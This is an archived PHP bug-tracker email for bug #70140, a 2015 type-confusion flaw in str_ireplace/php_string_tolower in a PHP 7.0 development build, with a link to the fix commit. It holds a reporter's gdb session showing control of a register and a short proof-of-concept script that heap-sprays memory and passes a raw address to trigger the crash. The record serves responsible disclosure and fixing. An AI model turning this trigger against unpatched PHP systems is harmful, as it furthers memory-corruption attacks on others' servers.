Sec Bug->Bug #70140 [Csd]: str_ireplace/php_string_tolower - Arbitrary Code Execution
| From: | stas@php.net | Date: | Wed, 29 Jul 2015 18:18:18 +0000 |
| Subject: | Sec Bug->Bug #70140 [Csd]: str_ireplace/php_string_tolower - Arbitrary Code Execution | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-194822@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=70140&edit=1
ID: 70140
Updated by: stas@php.net
Reported by: fourny dot d at gmail dot com
Summary: str_ireplace/php_string_tolower - Arbitrary Code
Execution
Status: Closed
-Type: Security
+Type: Bug
Package: Strings related
Operating System: x86_64 GNU/Linux
PHP Version: 7.0Git-2015-07-26 (Git)
Assigned To: laruence
Block user comment: N
Private report: N
Previous Comments:
------------------------------------------------------------------------
[2015-07-29 10:37:20] fourny dot d at gmail dot com
Thank you. Can you make this bug public please?
Regards, Dimitri Fourny.
------------------------------------------------------------------------
[2015-07-27 13:44:33] laruence@php.net
fixed in https://github.com/php/php-src/commit/6aeee47b2cd47915ccfa3b41433a3f57aea24dd5
------------------------------------------------------------------------
[2015-07-26 14:15:43] fourny dot d at gmail dot com
Description:
------------
Hello,
I discovered a vulnerability issue in this PHP version:
$ php --version
PHP 7.0.0-dev (cli) (built: Jul 25 2015 11:31:46) (DEBUG)
Copyright (c) 1997-2015 The PHP Group
Zend Engine v3.0.0-dev, Copyright (c) 1998-2015 Zend Technologies
In this new version of PHP, it is possible to control some registers and this could be lead to an
arbitrary code execution.
The problem is in the function "str_ireplace", the third arguments "$subject"
type is not checked.
Because of that, we can control the assembly registers.
We can check that in gdb:
Breakpoint 1, 0x00000000008139ff in php_string_tolower (s=0x7fff55e00020) at
/home/df0/php-src/ext/standard/string.c:1503
1503 e = c + ZSTR_LEN(s);
(gdb) x/10i $rip
=> 0x8139ff <php_string_tolower+29>: mov rdx,QWORD PTR [rax+0x10]
0x813a03 <php_string_tolower+33>: mov rax,QWORD PTR [rbp-0x18]
0x813a07 <php_string_tolower+37>: add rax,rdx
0x813a0a <php_string_tolower+40>: mov QWORD PTR [rbp-0x20],rax
0x813a0e <php_string_tolower+44>: jmp 0x813af2 <php_string_tolower+272>
0x813a13 <php_string_tolower+49>: call 0x42b2c0 <__ctype_b_loc@plt>
0x813a18 <php_string_tolower+54>: mov rdx,QWORD PTR [rax]
0x813a1b <php_string_tolower+57>: mov rax,QWORD PTR [rbp-0x18]
0x813a1f <php_string_tolower+61>: movzx eax,BYTE PTR [rax]
0x813a22 <php_string_tolower+64>: movzx eax,al
(gdb) x/10x $rax
0x7fff55e00020: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fff55e00030: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fff55e00040: 0x41414141 0x41414141
(gdb) ni
0x0000000000813a03 1503 e = c + ZSTR_LEN(s);
(gdb) x/x $rdx
0x4141414141414141: Cannot access memory at address 0x4141414141414141
If you have a question, do not hesitate.
Regards, Dimitri Fourny.
Test script:
---------------
<?php
// heap spray
ini_set("memory_limit", -1);
$part = str_repeat("\x41", 4096);
$str = str_repeat($part, 10*1024*1024*256/4096);
// the core
$a = "string";
str_ireplace($a, $a, 0x7fff55e00020);
?>
Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
0x00000000008139ff in php_string_tolower (s=0x7fff55e00020) at php-src/ext/standard/string.c:1503
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=70140&edit=1